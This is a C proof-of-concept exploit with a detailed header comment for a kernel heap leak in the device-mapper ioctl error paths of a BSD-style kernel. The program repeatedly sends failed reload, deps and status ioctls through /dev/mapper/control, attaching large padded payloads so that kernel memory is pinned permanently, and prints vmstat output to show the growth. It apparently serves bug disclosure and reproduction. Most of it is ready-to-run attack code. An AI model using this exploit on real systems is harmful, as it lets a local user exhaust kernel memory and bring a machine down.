/*
 * DF-4474 PoC -- kernel heap leak on dm ioctl error paths:
 *   (a) dm_table_load_ioctl leaks the prop_array_iterator (which RETAINS
 *       the whole inbound cmd_data array tree) when target lookup fails;
 *   (b) dm_table_deps_ioctl leaks its freshly created cmd_array on ENOENT;
 *   (c) dm_table_status_ioctl leaks its cmd_array on ENOENT.
 *
 * Bug (sys/dev/disk/dm/dm_ioctl.c):
 *   load:  707: cmd_array = prop_dictionary_get(dm_dict, DM_IOCTL_CMD_DATA);
 *          708: iter = prop_array_iterator(cmd_array);   <-- retains array
 *          737-741: unknown target -> dm_table_release; dm_dev_unbusy;
 *                   return ENOENT;   <-- iter NEVER released
 *   deps:  602: cmd_array = prop_array_create();
 *          604-606: dm_dev_lookup fails -> return ENOENT;  <-- array leak
 *   status:895: cmd_array = prop_array_create();
 *          897-899: dm_dev_lookup fails -> return ENOENT; <-- array leak
 *
 * prop_array_iterator() retains the array (sys/libprop/prop_array.c:525
 * prop_object_retain(pa)), so each failed reload pins the ENTIRE attacker-
 * supplied cmd_data tree (all dicts/strings) in kernel memory forever.
 * An operator-group user can exhaust kernel heap with a trivial loop of
 * failed reloads carrying large cmd_data payloads.
 *
 * Observable: M_TEMP (prop arrays/strings/iterators are M_TEMP) grows
 * monotonically with iteration count and never drops.
 *
 * Build: cc -o dm_errleak dm_errleak.c -lprop
 * Run:   ./dm_errleak [bigrounds] [smallrounds]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV "/dev/mapper/control"

static int
send_ioctl(int fd, prop_dictionary_t dict)
{
	return prop_dictionary_send_ioctl(dict, fd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4);
	prop_array_add_uint32(ver, 0);
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);
	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
	return dict;
}

/* (a) reload with an unknown target type and a FAT cmd_data tree. */
static int
leaky_reload(int fd, int nents, const char *pad)
{
	prop_dictionary_t dict = new_dm_dict("reload");
	prop_array_t arr;
	int i, rv;

	arr = prop_array_create();
	for (i = 0; i < nents; i++) {
		prop_dictionary_t ent = prop_dictionary_create();
		/* unknown target: dm_target_lookup + autoload both fail */
		prop_dictionary_set_cstring(ent, DM_TABLE_TYPE, "zznosuch");
		prop_dictionary_set_uint64(ent, DM_TABLE_START, 0);
		prop_dictionary_set_uint64(ent, DM_TABLE_LENGTH, 1);
		prop_dictionary_set_cstring(ent, DM_TABLE_PARAMS, pad);
		prop_array_add(arr, ent);
		prop_object_release(ent);
	}
	prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, arr);
	prop_object_release(arr);
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, "df4474dev");

	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	return rv;
}

/* (b) deps for a nonexistent device. */
static int
leaky_deps(int fd)
{
	prop_dictionary_t dict = new_dm_dict("deps");
	int rv;

	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, "df4474nosuch");
	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	return rv;
}

/* (c) status for a nonexistent device. */
static int
leaky_status(int fd)
{
	prop_dictionary_t dict = new_dm_dict("status");
	int rv;

	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, "df4474nosuch");
	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	return rv;
}

static void
show_malloc(const char *tag)
{
	char cmd[128], line[256];
	FILE *f;

	snprintf(cmd, sizeof(cmd),
	    "vmstat -m | awk '$1==\"temp\" || $1==\"dm\" {print}'");
	f = popen(cmd, "r");
	if (!f)
		return;
	printf("---- vmstat -m (%s) ----\n", tag);
	while (fgets(line, sizeof(line), f))
		printf("%s", line);
	pclose(f);
}

int
main(int argc, char **argv)
{
	int fd, i, rv;
	int bigrounds = argc > 1 ? atoi(argv[1]) : 100;
	int smallrounds = argc > 2 ? atoi(argv[2]) : 20000;
	int bigents = argc > 3 ? atoi(argv[3]) : 400;
	static const char pad[] =
	    "PADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPAD"
	    "PADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPAD"
	    "PADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPAD"
	    "PADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPAD"; /* 256B */

	fd = open(DM_CONTROL_DEV, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", DM_CONTROL_DEV, strerror(errno));
		return 1;
	}
	show_malloc("baseline");

	printf("[*] (a) %d failed reloads, cmd_data = 400 x ~300B tree "
	    "(iterator + whole tree retained)\n", bigrounds);
	for (i = 0; i < bigrounds; i++) {
		rv = leaky_reload(fd, bigents, pad);
		if (rv != ENOENT && (i % 25) == 0)
			printf("    reload[%d] rv=%d (%s)\n", i, rv,
			    strerror(rv));
	}
	show_malloc("after failed reloads");

	printf("[*] (b) %d deps for missing device (cmd_array leak)\n",
	    smallrounds);
	for (i = 0; i < smallrounds; i++)
		leaky_deps(fd);
	printf("[*] (c) %d status for missing device (cmd_array leak)\n",
	    smallrounds);
	for (i = 0; i < smallrounds; i++)
		leaky_status(fd);
	show_malloc("after deps/status");

	printf("[*] done (M_TEMP above should have grown by roughly "
	    "%d KB from (a) alone and never drops)\n",
	    (int)(bigrounds * 400 * 300 / 1024));
	close(fd);
	return 0;
}
